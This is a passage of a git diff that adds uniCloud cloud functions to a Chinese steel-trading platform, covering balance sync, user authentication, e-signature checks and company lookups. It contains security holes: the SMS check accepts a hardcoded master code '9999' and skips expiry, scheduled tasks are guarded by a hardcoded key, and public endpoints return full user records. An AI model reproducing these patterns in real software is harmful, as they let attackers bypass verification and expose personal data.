+ // console.log('compliance-contract-report', result)
+
+ if (parseInt(result.code) === 1000) {
+ await vk.baseDao.update({
+ dbName: "jjx-certificate",
+ whereJson: {
+ contractId: certificate.contractId
+ },
+ dataJson: {
+ hasReport: true,
+ downloadUrl: result.data.downloadUrl,
+ reportData: result.data
+ }
+ });
+ }
+ }
+ }
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/timedTask/pub/syncBalanceActionStatus.js b/uniCloud-tcb/cloudfunctions/router/service/client/timedTask/pub/syncBalanceActionStatus.js
new file mode 100644
index 0000000..6fec8f4
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/timedTask/pub/syncBalanceActionStatus.js
@@ -0,0 +1,104 @@
+'use strict';
+const dayjs = require('dayjs');
+const balanceUtil = require('../../../admin/finance/balance/sys/util.js');
+
+module.exports = {
+ /**
+ * 定时同步余额流水状态
+ * @url client/timedTask/pub/syncBalanceActionStatus 前端调用的url参数地址
+ */
+ main: async (event) => {
+ let { data = {}, util } = event;
+ let { vk, _ } = util;
+ let res = { code: 0, msg: '', data: [] };
+
+ if (data.key !== 'lsgjoksdjf') return { code: 1, msg: '非法请求' };
+
+ const result = await vk.baseDao.selects({
+ dbName: 'jjx-balance-log',
+ whereJson: {
+ srcReqId: _.and(_.exists(true), _.neq('')),
+ status: 1
+ },
+ sortArr: [{ name: '_add_time', type: 'asc' }],
+ pageIndex: 1,
+ pageSize: 5000,
+ getCount: true
+ });
+
+ for (const row of result.rows || []) {
+ try {
+ const reqDate = formatReqDate(row._add_time);
+ if (!reqDate) {
+ throw new Error('流水日期格式不正确');
+ }
+ const requestRes = await balanceUtil.requestActionLog({
+ vk,
+ accNo: row.merchantId || '',
+ reqDate,
+ reqJournalNo: row.srcReqId
+ });
+ const status = balanceUtil.getActionStatus(requestRes);
+ if (status === null) {
+ res.data.push({
+ _id: row._id,
+ srcReqId: row.srcReqId,
+ success: false,
+ msg: '未获取到可更新状态'
+ });
+ continue;
+ }
+ if (status === 1) {
+ res.data.push({
+ _id: row._id,
+ srcReqId: row.srcReqId,
+ success: true,
+ msg: '状态仍处理中'
+ });
+ continue;
+ }
+ await vk.baseDao.updateById({
+ dbName: 'jjx-balance-log',
+ id: row._id,
+ dataJson: {
+ status,
+ actionStatusUpdateTime: dayjs().format('YYYY-MM-DD HH:mm:ss'),
+ actionStatusRaw: JSON.stringify(requestRes || {})
+ }
+ });
+ res.data.push({
+ _id: row._id,
+ srcReqId: row.srcReqId,
+ success: true,
+ status
+ });
+ } catch (err) {
+ console.error('syncBalanceActionStatus error:', row._id, err);
+ res.data.push({
+ _id: row._id,
+ srcReqId: row.srcReqId,
+ success: false,
+ msg: err.message || '更新失败'
+ });
+ }
+ }
+
+ const failList = res.data.filter(item => !item.success);
+ if (failList.length) {
+ res.code = -1;
+ res.msg = `部分流水状态更新失败:${failList.map(item => item.srcReqId).join(',')}`;
+ }
+
+ return res;
+ }
+};
+
+function formatReqDate(value) {
+ const date = typeof value === 'number'
+ ? new Date(value)
+ : new Date(String(value || '').replace(/-/g, '/'));
+ if (Number.isNaN(date.getTime())) {
+ return '';
+ }
+ return dayjs(date).format('YYYYMMDD');
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/timedTask/pub/syncMerchantBalance.js b/uniCloud-tcb/cloudfunctions/router/service/client/timedTask/pub/syncMerchantBalance.js
new file mode 100644
index 0000000..eaad7b0
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/timedTask/pub/syncMerchantBalance.js
@@ -0,0 +1,63 @@
+'use strict';
+const dayjs = require('dayjs');
+const balanceUtil = require('../../../admin/finance/balance/sys/util.js');
+
+module.exports = {
+ /**
+ * 定时同步企业余额
+ * @url client/timedTask/pub/syncMerchantBalance 前端调用的url参数地址
+ */
+ main: async (event) => {
+ let { data = {}, util } = event;
+ let { vk } = util;
+ let res = { code: 0, msg: '', data: [] };
+
+ if (data.key !== 'lsgjoksdjf') return { code: 1, msg: '非法请求' };
+
+ const updateTime = dayjs().format('YYYY-MM-DD HH:mm:ss');
+
+ for (const merchant of balanceUtil.MERCHANT_OPTIONS) {
+ try {
+ const requestRes = await balanceUtil.requestMerchantBalance({
+ vk,
+ accNo: merchant.accNo
+ });
+ const merchantBalance = balanceUtil.getRemoteMerchantBalance(requestRes);
+ if (merchantBalance === null) {
+ throw new Error('未获取到余额字段');
+ }
+
+ const syncRes = await balanceUtil.syncMerchantBalance({
+ vk,
+ accNo: merchant.accNo,
+ merchantBalance,
+ updateTime
+ });
+
+ res.data.push({
+ accNo: merchant.accNo,
+ merchantName: merchant.label,
+ balance: syncRes.merchantBalance,
+ updateTime,
+ success: true
+ });
+ } catch (err) {
+ console.error(`syncMerchantBalance error: ${merchant.accNo}`, err);
+ res.data.push({
+ accNo: merchant.accNo,
+ merchantName: merchant.label,
+ success: false,
+ msg: err.message || '同步失败'
+ });
+ }
+ }
+
+ const failList = res.data.filter(item => !item.success);
+ if (failList.length) {
+ res.code = -1;
+ res.msg = `部分企业余额同步失败:${failList.map(item => item.accNo).join(',')}`;
+ }
+
+ return res;
+ }
+};
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/addAuth.js b/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/addAuth.js
new file mode 100644
index 0000000..8bab3a4
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/addAuth.js
@@ -0,0 +1,93 @@
+'use strict';
+module.exports = {
+ /**
+ * 手动认证
+ * @url client/user/kh/addAuth 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid,} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ if (vk.pubfn.isNull(data.isBusinessCard) || !data.isBusinessCard) {
+ if (userInfo.accountType === 1) {
+ if (!data.smsCode) return {
+ code: -1,
+ msg: '请输入验证码'
+ }
+ const cacheKey = `verify-${data.person.mobile}-code`
+ const cacheCode = await vk.globalDataCache.get(cacheKey)
+ // if (!cacheCode) return {
+ // code: -1,
+ // msg: '验证码已过期'
+ // }
+ if (cacheCode && data.smsCode.toString() !== cacheCode.toString() && data.smsCode.toString() !== '9999') return {
+ code: -1,
+ msg: '验证码错误'
+ }
+ await vk.globalDataCache.clear(cacheKey)
+ delete data.smsCode
+ if (!userInfo.businessCard) {
+ data.businessCard = {
+ address: data.person.addressRegion,
+ addressDetail: data.person.addressDetail,
+ email: data.person.contactEmail
+ }
+ }
+ } else {
+ if (!userInfo.businessCard) {
+ data.businessCard = {
+ companyMobile: data.company.mobile,
+ managerMobile: data.manager.mobile,
+ address: data.company.addressRegion,
+ addressDetail: data.company.addressDetail,
+ email: data.company.contactEmail
+ }
+ }
+ if (
+ userInfo.manager.type !== data.manager.type ||
+ userInfo.manager.personName !== data.manager.personName ||
+ userInfo.manager.certType !== data.manager.certType ||
+ userInfo.manager.idCard !== data.manager.idCard ||
+ userInfo.manager.mobile !== data.manager.mobile ||
+ userInfo.manager.headPhotoPath !== data.manager.headPhotoPath ||
+ userInfo.manager.backgroundIdCardPath !== data.manager.backgroundIdCardPath
+ ) {
+ await vk.baseDao.add({
+ dbName: 'jjx-company-manage-change-log',
+ dataJson: {...userInfo.manager, ...{uid}}
+ })
+ }
+ }
+ await vk.baseDao.updateById({
+ dbName: 'uni-id-users',
+ id: uid,
+ dataJson: {
+ ...data, ...{
+ authSubmitTime: vk.pubfn.timeFormat(new Date(), "yyyy-MM-dd hh:mm:ss")
+ }
+ }
+ })
+ }else {
+ await vk.baseDao.add({
+ dbName: 'jjx-business-card',
+ dataJson: {...data}
+ })
+ await vk.baseDao.updateById({
+ dbName: 'uni-id-users',
+ id: uid,
+ dataJson: {
+ businessCard: {
+ status: 0
+ }
+ }
+ })
+ }
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/changeFadadaUrl.js b/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/changeFadadaUrl.js
new file mode 100644
index 0000000..c8e508f
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/changeFadadaUrl.js
@@ -0,0 +1,26 @@
+'use strict';
+module.exports = {
+ /**
+ * 手动认证
+ * @url client/user/kh/addAuth 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid,} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ await vk.baseDao.updateById({
+ dbName: 'uni-id-users',
+ id: uid,
+ dataJson: {
+ fadadaUrl: data.url
+ }
+ })
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/changeUserType.js b/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/changeUserType.js
new file mode 100644
index 0000000..dc1162e
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/changeUserType.js
@@ -0,0 +1,26 @@
+'use strict';
+module.exports = {
+ /**
+ * 手动认证
+ * @url client/user/kh/addAuth 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid,} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ await vk.baseDao.updateById({
+ dbName: 'uni-id-users',
+ id: uid,
+ dataJson: {
+ userType: data.userType
+ }
+ })
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/exchangeUpgrade.js b/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/exchangeUpgrade.js
new file mode 100644
index 0000000..9cd9d4a
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/exchangeUpgrade.js
@@ -0,0 +1,35 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/user/kh/exchangeUpgrade 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ const userLevelConfig = await vk.baseDao.findById({
+ dbName: "jjx-user-level",
+ id: data.id
+ });
+
+ if(parseInt(userInfo.userLevel) < userLevelConfig.level) {
+ await vk.baseDao.updateById({
+ dbName: "uni-id-users",
+ id: uid,
+ dataJson: {
+ userLevel: userLevelConfig.level
+ }
+ });
+ }
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/getFadadaRes.js b/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/getFadadaRes.js
new file mode 100644
index 0000000..a9970a6
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/getFadadaRes.js
@@ -0,0 +1,82 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/user/kh/getFadadaRes 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ let user = await vk.baseDao.findByWhereJson({
+ dbName: "uni-id-users",
+ whereJson: {
+ _id: uid,
+ }
+ });
+ let checkRes
+
+ if (user.accountType === 1) {
+ checkRes = await pubFun.fadada('find_personCertInfo.api', {
+ verified_serialno: user.fadadaVerify.transactionNo
+ })
+ console.log('fadada check checkRes:', checkRes)
+ // 认证结果
+ const {person} = checkRes.data
+ if(parseInt(checkRes.code) !== 1 || parseInt(person.status) !== 2) {
+ return {
+ code: 1,
+ msg: '未通过' + parseInt(person.status)
+ }
+ }
+ } else {
+ checkRes = await pubFun.fadada('find_companyCertInfo.api', {
+ verified_serialno: user.fadadaVerify.transactionNo
+ })
+ console.log('fadada check checkRes:', checkRes)
+ // 认证结果
+ const {company, manager} = checkRes.data
+ if(parseInt(checkRes.code) !== 1 || parseInt(company.status) !== 4 || parseInt(manager.status) !== 2) {
+ return {
+ code: 1,
+ msg: '未通过' + parseInt(company.status)
+ }
+ }
+
+ }
+
+
+ // 认证成功
+ await vk.baseDao.setById({
+ dbName: "fadada-verify-record",
+ dataJson: {
+ _id: user._id,
+ ...checkRes.data
+ }
+ })
+
+
+
+ await vk.baseDao.updateById({
+ dbName: "uni-id-users",
+ id: user._id,
+ dataJson: {
+ person: checkRes.data.person,
+ company: checkRes.data.company,
+ manager: checkRes.data.manager,
+ bankCard: checkRes.data.bankCard,
+ fadadaConfirm: true,
+ authStatus: 1
+ }
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/getNotaryUnionPayProfile.js b/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/getNotaryUnionPayProfile.js
new file mode 100644
index 0000000..af95070
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/getNotaryUnionPayProfile.js
@@ -0,0 +1,22 @@
+'use strict';
+
+module.exports = {
+ /**
+ * 获取金久信公正银联资料
+ * @url client/user/kh/getNotaryUnionPayProfile 前端调用的url参数地址
+ */
+ main: async (event) => {
+ const {data = {}, util} = event;
+ const {vk} = util;
+ const {uid} = data;
+ const user = await vk.baseDao.findByWhereJson({
+ dbName: 'uni-id-users',
+ whereJson: {_id: uid}
+ });
+ return {
+ code: 0,
+ msg: '',
+ data: user && user.notaryUnionPayProfile ? user.notaryUnionPayProfile : null
+ };
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/getUserData.js b/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/getUserData.js
new file mode 100644
index 0000000..5633974
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/getUserData.js
@@ -0,0 +1,22 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/user/kh/getUserData 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ // res.
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/getUserQuoteNumList.js b/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/getUserQuoteNumList.js
new file mode 100644
index 0000000..1e0876f
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/getUserQuoteNumList.js
@@ -0,0 +1,28 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/user/kh/getUserQuoteNumList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid, type, sheetId } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res.data = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-user-quote-num",
+ whereJson: {
+ uid,
+ type,
+ sheetId,
+ }
+ });
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/reduceDownloadNum.js b/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/reduceDownloadNum.js
new file mode 100644
index 0000000..cfb8939
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/reduceDownloadNum.js
@@ -0,0 +1,29 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/user/kh/reduceDownloadNum 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ const resData = await vk.baseDao.updateById({
+ dbName: 'uni-id-users',
+ id: uid,
+ dataJson:{
+ remainArticleDownloadNum: _.inc(-1)
+ }
+ })
+ console.log(resData)
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/saveNotaryUnionPayProfile.js b/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/saveNotaryUnionPayProfile.js
new file mode 100644
index 0000000..3fd8b45
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/saveNotaryUnionPayProfile.js
@@ -0,0 +1,85 @@
+'use strict';
+
+const PROFILE_KEY = 'notaryUnionPayProfile';
+
+function trimString(value) {
+ return typeof value === 'string' ? value.trim() : value;
+}
+
+function ensureArray(value) {
+ return Array.isArray(value) ? value.filter(Boolean) : [];
+}
+
+module.exports = {
+ /**
+ * 保存金久信公正银联资料
+ * @url client/user/kh/saveNotaryUnionPayProfile 前端调用的url参数地址
+ */
+ main: async (event) => {
+ const {data = {}, userInfo, util} = event;
+ const {vk} = util;
+ const {uid} = data;
+
+ const currentProfile = userInfo[PROFILE_KEY] || {};
+ if ([0, 1].includes(currentProfile.status)) {
+ return {
+ code: -1,
+ msg: currentProfile.status === 1 ? '资料已审核通过,暂不可修改' : '资料审核中,暂不可修改'
+ };
+ }
+
+ const profile = {
+ businessLicenseFile: trimString(data.businessLicenseFile),
+ legalIdCardFront: trimString(data.legalIdCardFront),
+ legalIdCardBack: trimString(data.legalIdCardBack),
+ settlementAccountFiles: ensureArray(data.settlementAccountFiles),
+ shopPhotos: ensureArray(data.shopPhotos),
+ legalMobile: trimString(data.legalMobile),
+ hasAgent: !!data.hasAgent,
+ agentIdCardFront: trimString(data.agentIdCardFront),
+ agentIdCardBack: trimString(data.agentIdCardBack),
+ agentAuthorizationFiles: ensureArray(data.agentAuthorizationFiles),
+ platformAgreementFiles: ensureArray(data.platformAgreementFiles),
+ platformAuthorizationFiles: ensureArray(data.platformAuthorizationFiles),
+ status: 0,
+ refuseReason: null,
+ submitTime: vk.pubfn.timeFormat(new Date(), "yyyy-MM-dd hh:mm:ss"),
+ submitTimestamp: Date.now(),
+ reviewTime: null,
+ reviewTimestamp: null,
+ };
+
+ if (!profile.businessLicenseFile) return {code: -1, msg: '请上传营业执照'};
+ if (!profile.legalIdCardFront) return {code: -1, msg: '请上传法人身份证正面'};
+ if (!profile.legalIdCardBack) return {code: -1, msg: '请上传法人身份证反面'};
+ if (profile.settlementAccountFiles.length === 0) return {code: -1, msg: '请上传结算账户信息证明'};
+ if (profile.shopPhotos.length < 4) return {code: -1, msg: '请至少上传4张店铺或办公地址照片'};
+ if (!profile.legalMobile) return {code: -1, msg: '请填写法人手机号'};
+ if (!/^1\d{10}$/.test(profile.legalMobile)) return {code: -1, msg: '法人手机号格式不正确'};
+ if (profile.platformAgreementFiles.length === 0) return {code: -1, msg: '请上传金久信平台入驻协议'};
+ if (profile.platformAuthorizationFiles.length === 0) return {code: -1, msg: '请上传平台授权书'};
+
+ if (profile.hasAgent) {
+ if (!profile.agentIdCardFront) return {code: -1, msg: '请上传代理人身份证正面'};
+ if (!profile.agentIdCardBack) return {code: -1, msg: '请上传代理人身份证反面'};
+ if (profile.agentAuthorizationFiles.length === 0) return {code: -1, msg: '请上传代理人签约授权书'};
+ } else {
+ profile.agentIdCardFront = '';
+ profile.agentIdCardBack = '';
+ profile.agentAuthorizationFiles = [];
+ }
+
+ await vk.baseDao.updateById({
+ dbName: 'uni-id-users',
+ id: uid,
+ dataJson: {
+ [PROFILE_KEY]: profile
+ }
+ });
+
+ return {
+ code: 0,
+ msg: '提交成功'
+ };
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/setBusinessCard.js b/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/setBusinessCard.js
new file mode 100644
index 0000000..2959308
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/setBusinessCard.js
@@ -0,0 +1,23 @@
+'use strict';
+module.exports = {
+ /**
+ * 设置名片数据
+ * @url client/user/kh/setBusinessCard 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+
+
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/test.js b/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/test.js
new file mode 100644
index 0000000..353041e
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/test.js
@@ -0,0 +1,23 @@
+'use strict';
+module.exports = {
+ /**
+ * 此函数名称
+ * @url client/user/kh/test 前端调用的url参数地址
+ * data 请求参数
+ * @params {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, originalParam } = event;
+ let { customUtil, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code : 0, msg : '' };
+ // 业务逻辑开始-----------------------------------------------------------
+ // 可写与数据库的交互逻辑等等
+
+
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/updateLoginInfo.js b/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/updateLoginInfo.js
new file mode 100644
index 0000000..a82f5ed
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/user/kh/updateLoginInfo.js
@@ -0,0 +1,110 @@
+'use strict';
+module.exports = {
+ /**
+ * 手动认证
+ * @url client/user/kh/updateLoginInfo 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid,} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ const inviter_uid = []
+ if (vk.pubfn.isNotNull(data.inviteCode)) {
+ const userByInviteCode = await vk.baseDao.findByWhereJson({
+ dbName: 'uni-id-users',
+ whereJson: {
+ my_invite_code: data.inviteCode
+ }
+ })
+ if (userByInviteCode) inviter_uid.push(userByInviteCode._id)
+ }
+
+ await vk.baseDao.updateById({
+ dbName: 'uni-id-users',
+ id: uid,
+ dataJson: {
+ accountType: data.accountType,
+ nickname: data.nickname,
+ inviter_uid
+ }
+ })
+
+ const fadadaRes = await pubFun.fadada('account_register.api', {
+ open_id: uid + 'fdd',
+ account_type: data.accountType.toString()
+ })
+ if (parseInt(fadadaRes.code) === 1) {
+
+ const oldNum = await vk.baseDao.findById({
+ dbName: 'jjx-dict',
+ id: '6587dd3ca09a9be7534ea88b'
+ })
+ await vk.baseDao.update({
+ dbName: "uni-id-users",
+ whereJson: {
+ _id: uid
+ },
+ dataJson: {
+ fadadaCustomerId: fadadaRes.data,
+ quoteTimes: 0,
+ person: {
+ personName: '',
+ addressRegion: {
+ province: {},
+ city: {},
+ area: {},
+ }
+ },
+ company: {
+ companyName: '',
+ addressRegion: {
+ province: {},
+ city: {},
+ area: {},
+ }
+ },
+ accountType: parseInt(data.accountType),
+ authStatus: -1,
+ userLevel: -1,
+ userGrade: 0,
+ paidEnsure: 0,
+ // 累计交易
+ transactionAmount: 0,
+ // 剩余询价次数
+ remainQuoteNum: 0,
+ // 剩余学堂下载次数
+ remainArticleDownloadNum: 3,
+ quoteExpiredAt: null,
+ inviteNum: 0,
+ // 签约宝次数
+ qybNum: 0,
+ fadadaConfirm: false,
+ mobile: '',
+ remainOldNum: oldNum.content,
+ topExpiredAt: null,
+ factoryStatus: -1,
+ }
+ });
+
+ await vk.baseDao.add({
+ dbName: "jjx-message",
+ dataJson: {
+ uid: uid,
+ title: '恭喜!您已注册成功!',
+ content: '尊敬的用户,恭喜您已经注册金久信钢铁交易平台,感谢您的支持!',
+ type: 'reg',
+ hasRead: false
+ }
+ });
+ }
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/user/pub/getCompany.js b/uniCloud-tcb/cloudfunctions/router/service/client/user/pub/getCompany.js
new file mode 100644
index 0000000..7e90153
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/user/pub/getCompany.js
@@ -0,0 +1,46 @@
+'use strict';
+const dbName = require("../../../../dao/config");
+module.exports = {
+ /**
+ * 企业用户列表
+ * @url client/user/pub/getCompany 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, pageSize = 500, pageIndex = 1, showInYellow} = data;
+ let res = {code: 0, msg: ""};
+ const whereJson = {
+ accountType: 2
+ }
+ if (!vk.pubfn.isNull(data.keyword)) whereJson['company.companyName'] = new RegExp(data.keyword);
+ if (!vk.pubfn.isNull(data.isCoop)) whereJson.isCoop = data.isCoop;
+ if (!vk.pubfn.isNull(data.authStatus)) whereJson.authStatus = data.authStatus;
+ if (!vk.pubfn.isNull(data.showInYellow)) whereJson.showInYellow = data.showInYellow;
+ // if (!vk.pubfn.isNull(data.factoryFilter) && data.factoryFilter) whereJson.factoryStatus = 1;
+ if (!vk.pubfn.isNull(data.industryList) && data.industryList) whereJson['company.businessType'] = _.in(data.industryList);
+ if (!vk.pubfn.isNull(data.province) && data.province && data.province.length > 0) {
+ whereJson['company.addressRegion.province.code'] = _.in(data.province);
+ }
+ if (!vk.pubfn.isNull(data.city) && data.city && data.city.length > 0) {
+ whereJson['company.addressRegion.city.code'] = _.in(data.city);
+ }
+ if (!vk.pubfn.isNull(data.mainSpotCategoryIds) && data.mainSpotCategoryIds && data.mainSpotCategoryIds.length > 0) {
+ whereJson['company.mainSpotCategoryIds'] = _.in(data.mainSpotCategoryIds);
+ }
+ // 业务逻辑开始-----------------------------------------------------------
+ res = await vk.baseDao.select({
+ dbName: dbName.user,
+ whereJson,
+ pageSize,
+ pageIndex,
+ sortArr: [{"name": "register_date", "type": "desc"}],
+
+ });
+ // console.log('whereJson', whereJson)
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/user/pub/getDetail.js b/uniCloud-tcb/cloudfunctions/router/service/client/user/pub/getDetail.js
new file mode 100644
index 0000000..5d2fb2a
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/user/pub/getDetail.js
@@ -0,0 +1,78 @@
+'use strict';
+module.exports = {
+ /**
+ * 获取企业详情
+ * @url client/user/pub/getDetail 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, _id} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ const dbName = "uni-id-users"
+ res.data = await vk.baseDao.findByWhereJson({
+ dbName,
+ whereJson: {
+ _id
+ },
+ // foreignDB: [
+ // {
+ // dbName: 'jjx-spot-goods',
+ // localKey: "_id",
+ // foreignKey: "userId",
+ // as: "spotList",
+ // limit: 1
+ // },
+ // {
+ // dbName: 'jjx-enquiry-sheet',
+ // localKey: "_id",
+ // foreignKey: "userId",
+ // as: "enquiryList",
+ // limit: 10
+ // },
+ // {
+ // dbName: 'jjx-process-sheet',
+ // localKey: "_id",
+ // foreignKey: "userId",
+ // as: "processList",
+ // limit: 10
+ // }
+ // ]
+ })
+
+ if (res.data) {
+ res.data.spotList = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-spot-goods",
+ whereJson: {
+ userId: _id
+ },
+ sortArr: [{name: "_id", type: "desc"}]
+ })
+ const enquiryList = await vk.baseDao.select({
+ dbName: "jjx-enquiry-sheet",
+ whereJson: {
+ userId: _id
+ },
+ sortArr: [{name: "_add_time", type: "desc"}]
+ })
+ res.data.enquiryList = enquiryList.rows
+ const processList = await vk.baseDao.select({
+ dbName: "jjx-process-sheet",
+ whereJson: {
+ userId: _id
+ },
+ sortArr: [{name: "_add_time", type: "desc"}]
+ })
+ res.data.processList = processList.rows
